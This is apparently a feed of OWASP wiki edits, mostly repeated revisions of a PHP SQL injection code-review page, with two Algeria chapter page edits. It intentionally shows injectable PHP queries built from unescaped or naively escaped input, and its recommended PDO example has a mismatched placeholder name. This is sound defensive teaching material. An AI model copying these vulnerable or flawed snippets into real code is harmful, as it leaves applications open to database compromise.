		<summary type="html">&lt;p&gt;Islam Azeddine Mennouchi: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{LinkBar&lt;br /&gt;
  | useprev=PrevLink | prev=CRV2 RevCodeSQLInjection | lblprev=Reviewing code for SQL Injection&lt;br /&gt;
  | usemain=MainLink | main=OWASP Code review V2 Table of Contents | lblmain=Table of Contents&lt;br /&gt;
  | usenext=NextLink | next=CRV2 SQLInjJava | lblnext=CRV2 SQL Injection Java&lt;br /&gt;
}}&lt;br /&gt;
__TOC__&lt;br /&gt;
&lt;br /&gt;
==Introduction==&lt;br /&gt;
An SQL injection Attack consists of injecting sql query portions in the back-end database system via the client interface in the web application. The consequence of a successful exploitation of an SQL injection varies from just reading data to modifying data or executing&lt;br /&gt;
system commands. &lt;br /&gt;
SQL Injection in PHP remains the number one attack vector, and also the number on reason for DATA COMPROMISES &lt;br /&gt;
&lt;br /&gt;
==Data Validation and prepared statements==&lt;br /&gt;
It is as simple as this the absence of data validation and prepared statements or stored procedures will increase the possibility that your code contain SQL injections.&lt;br /&gt;
If your application gives the users the possibility to change parameters and those parameters are not verified and inserted&lt;br /&gt;
in an unprepared statement than your code contain an SQL Injection.&lt;br /&gt;
&lt;br /&gt;
Example 1 :&lt;br /&gt;
 &amp;lt;?php&lt;br /&gt;
 $pass=$_GET[&amp;quot;pass&amp;quot;];&lt;br /&gt;
 $con = mysql_connect('localhost', 'owasp', 'abc123');&lt;br /&gt;
 mysql_select_db(&amp;quot;owasp_php&amp;quot;, $con);&lt;br /&gt;
 $sql=&amp;quot;SELECT card FROM users WHERE password = '&amp;quot;.$pass.&amp;quot;'&amp;quot;;&lt;br /&gt;
 $result = mysql_query($sql);&lt;br /&gt;
 ?&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Suspicious Validation==&lt;br /&gt;
The most common ways to prevent SQL Injection in PHP are using functions such as addslashes() and mysql_real_escape_string() &lt;br /&gt;
but those function can always cause SQL Injections in some cases.&lt;br /&gt;
&lt;br /&gt;
'''addslashes :'''&lt;br /&gt;
&lt;br /&gt;
you will avoid Sql injection using addslashes() only in the case when you wrap the query string with quotes.The following example would still be vulnerable  &lt;br /&gt;
 &amp;lt;?php&lt;br /&gt;
 &lt;br /&gt;
 $id = addslashes( $_GET['id'] );&lt;br /&gt;
 $query = 'SELECT title FROM books WHERE id = ' . $id;&lt;br /&gt;
 &lt;br /&gt;
 ?&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''mysql_real_escape_string():'''&lt;br /&gt;
&lt;br /&gt;
mysql_real_escape_string() is a little bit more powerful than addslashes() as it calls MySQL's library function mysql_real_escape_string, which prepends backslashes to the following characters: \x00, \n, \r, \, ', &amp;quot; and \x1a.&lt;br /&gt;
As with addslashes(), mysql_real_escape_string() will only work if the query string is wrapped in quotes. A string such as the following would still be vulnerable to an SQL injection:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;?php&lt;br /&gt;
 &lt;br /&gt;
 $bid = mysql_real_escape_string( $_GET['id'] );&lt;br /&gt;
 $query = 'SELECT title FROM books WHERE id = ' . $bid;&lt;br /&gt;
 &lt;br /&gt;
 ?&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Recommendation==&lt;br /&gt;
the formula for Sql-injection-free code:&lt;br /&gt;
 Good Data Validation + Prepared Statement&lt;br /&gt;
&lt;br /&gt;
The PHP Data Objects (PDO) extension defines an abstract database interface that offers parameterized queries for prepared statements and stored procedures. It is available from PHP 5. Use of PDO::prepare will provide good SQL injection defenses, with some exceptions&lt;br /&gt;
&lt;br /&gt;
Example:&lt;br /&gt;
 &amp;lt;?php&lt;br /&gt;
 $id = htmlspecialchars($_GET[&amp;quot;id&amp;quot;]); //Validation&lt;br /&gt;
 $sql = 'SELECT * FROM users WHERE id = :calories';&lt;br /&gt;
 $sth = $dbh-&amp;gt;prepare($sql, array(PDO::ATTR_CURSOR =&amp;gt; PDO::CURSOR_FWDONLY)); //prepared statement&lt;br /&gt;
 $sth-&amp;gt;execute(array(':id' =&amp;gt; $id));&lt;br /&gt;
 $red = $sth-&amp;gt;fetchAll();&lt;br /&gt;
 ?&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==References==&lt;br /&gt;
'''See Reviewing code for Data Validation (in this guide)'''&lt;br /&gt;
[[Reviewing_Code_for_Data_Validation|Reviewing code for Data Validation]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''See the OWASP ESAPI Project'''&lt;br /&gt;
&lt;br /&gt;
The [[ESAPI|OWASP ESAPI]] project provides a reference implementation of a security API which can assist in providing security controls to an application.&lt;br /&gt;
&lt;br /&gt;
{{LinkBar&lt;br /&gt;
  | useprev=PrevLink | prev=Codereview-Session-Management | lblprev=Session Management&lt;br /&gt;
  | usemain=MainLink | main=OWASP Code Review Guide Table of Contents | lblmain=Table of Contents&lt;br /&gt;
  | usenext=NextLink | next=Codereview-Error-Handling | lblnext=Error Handling&lt;br /&gt;
}}&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Code Review Project]]&lt;/div&gt;</summary>
		<author><name>Islam Azeddine Mennouchi</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=CRV2_SQLInjPHP&amp;diff=171671</id>
		<title>CRV2 SQLInjPHP</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=CRV2_SQLInjPHP&amp;diff=171671"/>
				<updated>2014-04-05T17:59:59Z</updated>
		
		<summary type="html">&lt;p&gt;Islam Azeddine Mennouchi: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{LinkBar&lt;br /&gt;
  | useprev=PrevLink | prev=CRV2 RevCodeSQLInjection | lblprev=Reviewing code for SQL Injection&lt;br /&gt;
  | usemain=MainLink | main=OWASP Code review V2 Table of Contents | lblmain=Table of Contents&lt;br /&gt;
  | usenext=NextLink | next=CRV2 SQLInjJava | lblnext=CRV2 SQL Injection Java&lt;br /&gt;
}}&lt;br /&gt;
__TOC__&lt;br /&gt;
&lt;br /&gt;
==Introduction==&lt;br /&gt;
An SQL injection Attack consists of injecting sql query portions in the back-end database system via the client interface in the web application. The consequence of a successful exploitation of an SQL injection varies from just reading data to modifying data or executing&lt;br /&gt;
system commands. &lt;br /&gt;
SQL Injection in PHP remains the number one attack vector, and also the number on reason for DATA COMPROMISES &lt;br /&gt;
&lt;br /&gt;
==Data Validation and prepared statements==&lt;br /&gt;
It is as simple as this the absence of data validation and prepared statements or stored procedures will increase the possibility that your code contain SQL injections.&lt;br /&gt;
If your application gives the users the possibility to change parameters and those parameters are not verified and inserted&lt;br /&gt;
in an unprepared statement than your code contain an SQL Injection.&lt;br /&gt;
&lt;br /&gt;
Example 1 :&lt;br /&gt;
 &amp;lt;?php&lt;br /&gt;
 $pass=$_GET[&amp;quot;pass&amp;quot;];&lt;br /&gt;
 $con = mysql_connect('localhost', 'owasp', 'abc123');&lt;br /&gt;
 mysql_select_db(&amp;quot;owasp_php&amp;quot;, $con);&lt;br /&gt;
 $sql=&amp;quot;SELECT card FROM users WHERE password = '&amp;quot;.$pass.&amp;quot;'&amp;quot;;&lt;br /&gt;
 $result = mysql_query($sql);&lt;br /&gt;
 ?&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Suspicious Validation==&lt;br /&gt;
The most common ways to prevent SQL Injection in PHP are using functions such as addslashes() and mysql_real_escape_string() &lt;br /&gt;
but those function can always cause SQL Injections in some cases.&lt;br /&gt;
&lt;br /&gt;
'''addslashes :'''&lt;br /&gt;
&lt;br /&gt;
you will avoid Sql injection using addslashes() only in the case when you wrap the query string with quotes.The following example would still be vulnerable  &lt;br /&gt;
 &amp;lt;?php&lt;br /&gt;
 &lt;br /&gt;
 $id = addslashes( $_GET['id'] );&lt;br /&gt;
 $query = 'SELECT title FROM books WHERE id = ' . $id;&lt;br /&gt;
 &lt;br /&gt;
 ?&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''mysql_real_escape_string():'''&lt;br /&gt;
&lt;br /&gt;
mysql_real_escape_string() is a little bit more powerful than addslashes() as it calls MySQL's library function mysql_real_escape_string, which prepends backslashes to the following characters: \x00, \n, \r, \, ', &amp;quot; and \x1a.&lt;br /&gt;
As with addslashes(), mysql_real_escape_string() will only work if the query string is wrapped in quotes. A string such as the following would still be vulnerable to an SQL injection:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;?php&lt;br /&gt;
 &lt;br /&gt;
 $bid = mysql_real_escape_string( $_GET['id'] );&lt;br /&gt;
 $query = 'SELECT title FROM books WHERE id = ' . $bid;&lt;br /&gt;
 &lt;br /&gt;
 ?&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Recommendation==&lt;br /&gt;
the formula for Sql-injection-free code:&lt;br /&gt;
 Good Data Validation + Prepared Statement&lt;br /&gt;
&lt;br /&gt;
The PHP Data Objects (PDO) extension defines an abstract database interface that offers parameterized queries for prepared statements and stored procedures. It is available from PHP 5. Use of PDO::prepare will provide good SQL injection defenses, with some exceptions&lt;br /&gt;
&lt;br /&gt;
==References==&lt;br /&gt;
'''See Reviewing code for Data Validation (in this guide)'''&lt;br /&gt;
[[Reviewing_Code_for_Data_Validation|Reviewing code for Data Validation]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''See the OWASP ESAPI Project'''&lt;br /&gt;
&lt;br /&gt;
The [[ESAPI|OWASP ESAPI]] project provides a reference implementation of a security API which can assist in providing security controls to an application.&lt;br /&gt;
&lt;br /&gt;
{{LinkBar&lt;br /&gt;
  | useprev=PrevLink | prev=Codereview-Session-Management | lblprev=Session Management&lt;br /&gt;
  | usemain=MainLink | main=OWASP Code Review Guide Table of Contents | lblmain=Table of Contents&lt;br /&gt;
  | usenext=NextLink | next=Codereview-Error-Handling | lblnext=Error Handling&lt;br /&gt;
}}&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Code Review Project]]&lt;/div&gt;</summary>
		<author><name>Islam Azeddine Mennouchi</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=CRV2_SQLInjPHP&amp;diff=171670</id>
		<title>CRV2 SQLInjPHP</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=CRV2_SQLInjPHP&amp;diff=171670"/>
				<updated>2014-04-05T17:57:34Z</updated>
		
		<summary type="html">&lt;p&gt;Islam Azeddine Mennouchi: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{LinkBar&lt;br /&gt;
  | useprev=PrevLink | prev=CRV2 RevCodeSQLInjection | lblprev=Reviewing code for SQL Injection&lt;br /&gt;
  | usemain=MainLink | main=OWASP Code review V2 Table of Contents | lblmain=Table of Contents&lt;br /&gt;
  | usenext=NextLink | next=CRV2 SQLInjJava | lblnext=CRV2 SQL Injection Java&lt;br /&gt;
}}&lt;br /&gt;
__TOC__&lt;br /&gt;
&lt;br /&gt;
==Introduction==&lt;br /&gt;
An SQL injection Attack consists of injecting sql query portions in the back-end database system via the client interface in the web application. The consequence of a successful exploitation of an SQL injection varies from just reading data to modifying data or executing&lt;br /&gt;
system commands. &lt;br /&gt;
SQL Injection in PHP remains the number one attack vector, and also the number on reason for DATA COMPROMISES &lt;br /&gt;
&lt;br /&gt;
==Data Validation and prepared statements==&lt;br /&gt;
It is as simple as this the absence of data validation and prepared statements or stored procedures will increase the possibility that your code contain SQL injections.&lt;br /&gt;
If your application gives the users the possibility to change parameters and those parameters are not verified and inserted&lt;br /&gt;
in an unprepared statement than your code contain an SQL Injection.&lt;br /&gt;
&lt;br /&gt;
Example 1 :&lt;br /&gt;
 &amp;lt;?php&lt;br /&gt;
 $pass=$_GET[&amp;quot;pass&amp;quot;];&lt;br /&gt;
 $con = mysql_connect('localhost', 'owasp', 'abc123');&lt;br /&gt;
 mysql_select_db(&amp;quot;owasp_php&amp;quot;, $con);&lt;br /&gt;
 $sql=&amp;quot;SELECT card FROM users WHERE password = '&amp;quot;.$pass.&amp;quot;'&amp;quot;;&lt;br /&gt;
 $result = mysql_query($sql);&lt;br /&gt;
 ?&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Suspicious Validation==&lt;br /&gt;
The most common ways to prevent SQL Injection in PHP are using functions such as addslashes() and mysql_real_escape_string() &lt;br /&gt;
but those function can always cause SQL Injections in some cases.&lt;br /&gt;
&lt;br /&gt;
'''addslashes :'''&lt;br /&gt;
&lt;br /&gt;
you will avoid Sql injection using addslashes() only in the case when you wrap the query string with quotes.The following example would still be vulnerable  &lt;br /&gt;
 &amp;lt;?php&lt;br /&gt;
 &lt;br /&gt;
 $id = addslashes( $_GET['id'] );&lt;br /&gt;
 $query = 'SELECT title FROM books WHERE id = ' . $id;&lt;br /&gt;
 &lt;br /&gt;
 ?&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''mysql_real_escape_string():'''&lt;br /&gt;
&lt;br /&gt;
mysql_real_escape_string() is a little bit more powerful than addslashes() as it calls MySQL's library function mysql_real_escape_string, which prepends backslashes to the following characters: \x00, \n, \r, \, ', &amp;quot; and \x1a.&lt;br /&gt;
As with addslashes(), mysql_real_escape_string() will only work if the query string is wrapped in quotes. A string such as the following would still be vulnerable to an SQL injection:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;?php&lt;br /&gt;
 &lt;br /&gt;
 $bid = mysql_real_escape_string( $_GET['id'] );&lt;br /&gt;
 $query = 'SELECT title FROM books WHERE id = ' . $bid;&lt;br /&gt;
 &lt;br /&gt;
 ?&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Recommendation==&lt;br /&gt;
the formula for Sql-injection-free code:&lt;br /&gt;
 Good Data Validation + Prepared Statement&lt;br /&gt;
&lt;br /&gt;
==References==&lt;br /&gt;
'''See Reviewing code for Data Validation (in this guide)'''&lt;br /&gt;
[[Reviewing_Code_for_Data_Validation|Reviewing code for Data Validation]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''See the OWASP ESAPI Project'''&lt;br /&gt;
&lt;br /&gt;
The [[ESAPI|OWASP ESAPI]] project provides a reference implementation of a security API which can assist in providing security controls to an application.&lt;br /&gt;
&lt;br /&gt;
{{LinkBar&lt;br /&gt;
  | useprev=PrevLink | prev=Codereview-Session-Management | lblprev=Session Management&lt;br /&gt;
  | usemain=MainLink | main=OWASP Code Review Guide Table of Contents | lblmain=Table of Contents&lt;br /&gt;
  | usenext=NextLink | next=Codereview-Error-Handling | lblnext=Error Handling&lt;br /&gt;
}}&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Code Review Project]]&lt;/div&gt;</summary>
		<author><name>Islam Azeddine Mennouchi</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=CRV2_SQLInjPHP&amp;diff=171669</id>
		<title>CRV2 SQLInjPHP</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=CRV2_SQLInjPHP&amp;diff=171669"/>
				<updated>2014-04-05T17:51:28Z</updated>
		
		<summary type="html">&lt;p&gt;Islam Azeddine Mennouchi: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{LinkBar&lt;br /&gt;
  | useprev=PrevLink | prev=CRV2 RevCodeSQLInjection | lblprev=Reviewing code for SQL Injection&lt;br /&gt;
  | usemain=MainLink | main=OWASP Code review V2 Table of Contents | lblmain=Table of Contents&lt;br /&gt;
  | usenext=NextLink | next=CRV2 SQLInjJava | lblnext=CRV2 SQL Injection Java&lt;br /&gt;
}}&lt;br /&gt;
__TOC__&lt;br /&gt;
&lt;br /&gt;
==Introduction==&lt;br /&gt;
An SQL injection Attack consists of injecting sql query portions in the back-end database system via the client interface in the web application. The consequence of a successful exploitation of an SQL injection varies from just reading data to modifying data or executing&lt;br /&gt;
system commands. &lt;br /&gt;
SQL Injection in PHP remains the number one attack vector, and also the number on reason for DATA COMPROMISES &lt;br /&gt;
&lt;br /&gt;
==Data Validation and prepared statements==&lt;br /&gt;
It is as simple as this the absence of data validation and prepared statements or stored procedures will increase the possibility that your code contain SQL injections.&lt;br /&gt;
If your application gives the users the possibility to change parameters and those parameters are not verified and inserted&lt;br /&gt;
in an unprepared statement than your code contain an SQL Injection.&lt;br /&gt;
&lt;br /&gt;
Example 1 :&lt;br /&gt;
 &amp;lt;?php&lt;br /&gt;
 $pass=$_GET[&amp;quot;pass&amp;quot;];&lt;br /&gt;
 $con = mysql_connect('localhost', 'owasp', 'abc123');&lt;br /&gt;
 mysql_select_db(&amp;quot;owasp_php&amp;quot;, $con);&lt;br /&gt;
 $sql=&amp;quot;SELECT card FROM users WHERE password = '&amp;quot;.$pass.&amp;quot;'&amp;quot;;&lt;br /&gt;
 $result = mysql_query($sql);&lt;br /&gt;
 ?&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Suspicious Validation==&lt;br /&gt;
The most common ways to prevent SQL Injection in PHP are using functions such as addslashes() and mysql_real_escape_string() &lt;br /&gt;
but those function can always cause SQL Injections in some cases.&lt;br /&gt;
&lt;br /&gt;
'''addslashes :'''&lt;br /&gt;
&lt;br /&gt;
you will avoid Sql injection using addslashes() only in the case when you wrap the query string with quotes.The following example would still be vulnerable  &lt;br /&gt;
 &amp;lt;?php&lt;br /&gt;
 &lt;br /&gt;
 $id = addslashes( $_GET['id'] );&lt;br /&gt;
 $query = 'SELECT title FROM books WHERE id = ' . $id;&lt;br /&gt;
 &lt;br /&gt;
 ?&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''mysql_real_escape_string():'''&lt;br /&gt;
&lt;br /&gt;
mysql_real_escape_string() is a little bit more powerful than addslashes() as it calls MySQL's library function mysql_real_escape_string, which prepends backslashes to the following characters: \x00, \n, \r, \, ', &amp;quot; and \x1a.&lt;br /&gt;
As with addslashes(), mysql_real_escape_string() will only work if the query string is wrapped in quotes. A string such as the following would still be vulnerable to an SQL injection:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;?php&lt;br /&gt;
 &lt;br /&gt;
 $bid = mysql_real_escape_string( $_GET['id'] );&lt;br /&gt;
 $query = 'SELECT title FROM books WHERE id = ' . $bid;&lt;br /&gt;
 &lt;br /&gt;
 ?&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Canonicalization==&lt;br /&gt;
Canonicalization is the process by which various equivalent forms of a name can be resolved to a single standard name, or the &amp;quot;canonical&amp;quot; name. &lt;br /&gt;
&lt;br /&gt;
The most popular encodings are UTF-8, UTF-16, and so on (which are described in detail in RFC 2279). A single character, such as a period/full-stop (.), may be represented in many different ways: ASCII 2E, Unicode C0 AE, and many others. &lt;br /&gt;
&lt;br /&gt;
With the myriad ways of encoding user input, a web application's filters can be easily circumvented if they're not carefully built. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==References==&lt;br /&gt;
'''See Reviewing code for Data Validation (in this guide)'''&lt;br /&gt;
[[Reviewing_Code_for_Data_Validation|Reviewing code for Data Validation]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''See the OWASP ESAPI Project'''&lt;br /&gt;
&lt;br /&gt;
The [[ESAPI|OWASP ESAPI]] project provides a reference implementation of a security API which can assist in providing security controls to an application.&lt;br /&gt;
&lt;br /&gt;
{{LinkBar&lt;br /&gt;
  | useprev=PrevLink | prev=Codereview-Session-Management | lblprev=Session Management&lt;br /&gt;
  | usemain=MainLink | main=OWASP Code Review Guide Table of Contents | lblmain=Table of Contents&lt;br /&gt;
  | usenext=NextLink | next=Codereview-Error-Handling | lblnext=Error Handling&lt;br /&gt;
}}&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Code Review Project]]&lt;/div&gt;</summary>
		<author><name>Islam Azeddine Mennouchi</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=CRV2_SQLInjPHP&amp;diff=171668</id>
		<title>CRV2 SQLInjPHP</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=CRV2_SQLInjPHP&amp;diff=171668"/>
				<updated>2014-04-05T17:40:03Z</updated>
		
		<summary type="html">&lt;p&gt;Islam Azeddine Mennouchi: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{LinkBar&lt;br /&gt;
  | useprev=PrevLink | prev=CRV2 RevCodeSQLInjection | lblprev=Reviewing code for SQL Injection&lt;br /&gt;
  | usemain=MainLink | main=OWASP Code review V2 Table of Contents | lblmain=Table of Contents&lt;br /&gt;
  | usenext=NextLink | next=CRV2 SQLInjJava | lblnext=CRV2 SQL Injection Java&lt;br /&gt;
}}&lt;br /&gt;
__TOC__&lt;br /&gt;
&lt;br /&gt;
==Introduction==&lt;br /&gt;
An SQL injection Attack consists of injecting sql query portions in the back-end database system via the client interface in the web application. The consequence of a successful exploitation of an SQL injection varies from just reading data to modifying data or executing&lt;br /&gt;
system commands. &lt;br /&gt;
SQL Injection in PHP remains the number one attack vector, and also the number on reason for DATA COMPROMISES &lt;br /&gt;
&lt;br /&gt;
==Data Validation and prepared statements==&lt;br /&gt;
It is as simple as this the absence of data validation and prepared statements or stored procedures will increase the possibility that your code contain SQL injections.&lt;br /&gt;
If your application gives the users the possibility to change parameters and those parameters are not verified and inserted&lt;br /&gt;
in an unprepared statement than your code contain an SQL Injection.&lt;br /&gt;
&lt;br /&gt;
Example 1 :&lt;br /&gt;
 &amp;lt;?php&lt;br /&gt;
 $pass=$_GET[&amp;quot;pass&amp;quot;];&lt;br /&gt;
 $con = mysql_connect('localhost', 'owasp', 'abc123');&lt;br /&gt;
 mysql_select_db(&amp;quot;owasp_php&amp;quot;, $con);&lt;br /&gt;
 $sql=&amp;quot;SELECT card FROM users WHERE password = '&amp;quot;.$pass.&amp;quot;'&amp;quot;;&lt;br /&gt;
 $result = mysql_query($sql);&lt;br /&gt;
 ?&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Suspicious Validation==&lt;br /&gt;
The most common ways to prevent SQL Injection in PHP are using functions such as addslashes() and mysql_real_escape_string() &lt;br /&gt;
but those function can always cause SQL Injections in some cases.&lt;br /&gt;
&lt;br /&gt;
'''addslashes :'''&lt;br /&gt;
&lt;br /&gt;
you will avoid Sql injection using addslashes() only in the case when you wrap the query string with quotes.The following example would still be vulnerable  &lt;br /&gt;
 &amp;lt;?php&lt;br /&gt;
 &lt;br /&gt;
 $id = addslashes( $_GET['id'] );&lt;br /&gt;
 $query = 'SELECT title FROM books WHERE id = ' . $id;&lt;br /&gt;
 &lt;br /&gt;
 ?&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''mysql_real_escape_string():'''&lt;br /&gt;
&lt;br /&gt;
mysql_real_escape_string() is a little bit more powerful than addslashes() as it calls MySQL's library function mysql_real_escape_string, which prepends backslashes to the following characters: \x00, \n, \r, \, ', &amp;quot; and \x1a.&lt;br /&gt;
As with addslashes(), mysql_real_escape_string() will only work if the query string is wrapped in quotes. A string such as the following would still be vulnerable to an SQL injection:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;?php&lt;br /&gt;
 &lt;br /&gt;
 $bid = mysql_real_escape_string( $_GET['id'] );&lt;br /&gt;
 $query = 'SELECT title FROM books WHERE id = ' . $bid;&lt;br /&gt;
 &lt;br /&gt;
 ?&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Canonicalization==&lt;br /&gt;
Canonicalization is the process by which various equivalent forms of a name can be resolved to a single standard name, or the &amp;quot;canonical&amp;quot; name. &lt;br /&gt;
&lt;br /&gt;
The most popular encodings are UTF-8, UTF-16, and so on (which are described in detail in RFC 2279). A single character, such as a period/full-stop (.), may be represented in many different ways: ASCII 2E, Unicode C0 AE, and many others. &lt;br /&gt;
&lt;br /&gt;
With the myriad ways of encoding user input, a web application's filters can be easily circumvented if they're not carefully built. &lt;br /&gt;
&lt;br /&gt;
==Bad Example==&lt;br /&gt;
 public static void main(String[] args) {&lt;br /&gt;
     File x = new File(&amp;quot;/cmd/&amp;quot; + args[1]);&lt;br /&gt;
     String absPath = x.getAbsolutePath();&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
==Good Example==&lt;br /&gt;
 public static void main(String[] args) throws IOException {&lt;br /&gt;
     File x = new File(&amp;quot;/cmd/&amp;quot; + args[1]);&lt;br /&gt;
     String canonicalPath = x.getCanonicalPath();&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==References==&lt;br /&gt;
'''See Reviewing code for Data Validation (in this guide)'''&lt;br /&gt;
[[Reviewing_Code_for_Data_Validation|Reviewing code for Data Validation]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''See the OWASP ESAPI Project'''&lt;br /&gt;
&lt;br /&gt;
The [[ESAPI|OWASP ESAPI]] project provides a reference implementation of a security API which can assist in providing security controls to an application.&lt;br /&gt;
&lt;br /&gt;
{{LinkBar&lt;br /&gt;
  | useprev=PrevLink | prev=Codereview-Session-Management | lblprev=Session Management&lt;br /&gt;
  | usemain=MainLink | main=OWASP Code Review Guide Table of Contents | lblmain=Table of Contents&lt;br /&gt;
  | usenext=NextLink | next=Codereview-Error-Handling | lblnext=Error Handling&lt;br /&gt;
}}&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Code Review Project]]&lt;/div&gt;</summary>
		<author><name>Islam Azeddine Mennouchi</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Algeria&amp;diff=165791</id>
		<title>Algeria</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Algeria&amp;diff=165791"/>
				<updated>2014-01-14T01:18:37Z</updated>
		
		<summary type="html">&lt;p&gt;Islam Azeddine Mennouchi: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__NOTOC__&lt;br /&gt;
= News =&lt;br /&gt;
{{Chapter Template|chaptername=Algeria|extra=The chapter leader is [mailto:azeddine.mennouchi@owasp.org Mennouchi Islam Azeddine].|mailinglistsite=http://lists.owasp.org/mailman/listinfo/owasp-algeria|emailarchives=http://lists.owasp.org/pipermail/owasp-algeria}}&lt;br /&gt;
&lt;br /&gt;
'''The Algerian Chapter is also available on [[Facebook]] : [http://www.facebook.com/pages/Owasp-Algeria/287791794601341#!/pages/Owasp-Algeria/287791794601341 Join us !]'''&lt;br /&gt;
&lt;br /&gt;
== Local News ==&lt;br /&gt;
OWASP Algeria CTF 2013 [http://ctf.owasp-dz.org ctf 2013] [https://ctftime.org/event/125 Results]&lt;br /&gt;
&lt;br /&gt;
December 24th 2013 Empower Tech Days - OWASP Top 10 + Forensic Analysis presentation&lt;br /&gt;
&lt;br /&gt;
March 2013 ETIC Training Camp - OWASP Top 10 Web + Mobile&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Meeting Location'''&lt;br /&gt;
&lt;br /&gt;
Everyone is welcome to join us at our chapter meetings.&lt;br /&gt;
= Projects =&lt;br /&gt;
[[OWASP Odz MultiCMSScanner]]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;headertabs /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Chapter]]&lt;br /&gt;
[[Category:Africa]]&lt;/div&gt;</summary>
		<author><name>Islam Azeddine Mennouchi</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Algeria&amp;diff=165790</id>
		<title>Algeria</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Algeria&amp;diff=165790"/>
				<updated>2014-01-14T01:18:03Z</updated>
		
		<summary type="html">&lt;p&gt;Islam Azeddine Mennouchi: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__NOTOC__&lt;br /&gt;
= News =&lt;br /&gt;
{{Chapter Template|chaptername=Algeria|extra=The chapter leader is [mailto:azeddine.mennouchi@owasp.org Mennouchi Islam Azeddine].|mailinglistsite=http://lists.owasp.org/mailman/listinfo/owasp-algeria|emailarchives=http://lists.owasp.org/pipermail/owasp-algeria}}&lt;br /&gt;
&lt;br /&gt;
'''The Algerian Chapter is also available on [[Facebook]] : [http://www.facebook.com/pages/Owasp-Algeria/287791794601341#!/pages/Owasp-Algeria/287791794601341 Join us !]'''&lt;br /&gt;
&lt;br /&gt;
== Local News ==&lt;br /&gt;
OWASP Algeria CTF 2013 [http://ctf.owasp-dz.org ctf 2013] [https://ctftime.org/event/125 Results]&lt;br /&gt;
December 24th 2013 Empower Tech Days - OWASP Top 10 + Forensic Analysis presentation&lt;br /&gt;
March 2013 ETIC Training Camp - OWASP Top 10 Web + Mobile&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Meeting Location'''&lt;br /&gt;
&lt;br /&gt;
Everyone is welcome to join us at our chapter meetings.&lt;br /&gt;
= Projects =&lt;br /&gt;
[[OWASP Odz MultiCMSScanner]]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;headertabs /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Chapter]]&lt;br /&gt;
[[Category:Africa]]&lt;/div&gt;</summary>
		<author><name>Islam Azeddine Mennouchi</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=CRV2_SQLInjPHP&amp;diff=160901</id>
		<title>CRV2 SQLInjPHP</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=CRV2_SQLInjPHP&amp;diff=160901"/>
				<updated>2013-10-16T02:40:09Z</updated>
		
		<summary type="html">&lt;p&gt;Islam Azeddine Mennouchi: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{LinkBar&lt;br /&gt;
  | useprev=PrevLink | prev=CRV2 RevCodeSQLInjection | lblprev=Reviewing code for SQL Injection&lt;br /&gt;
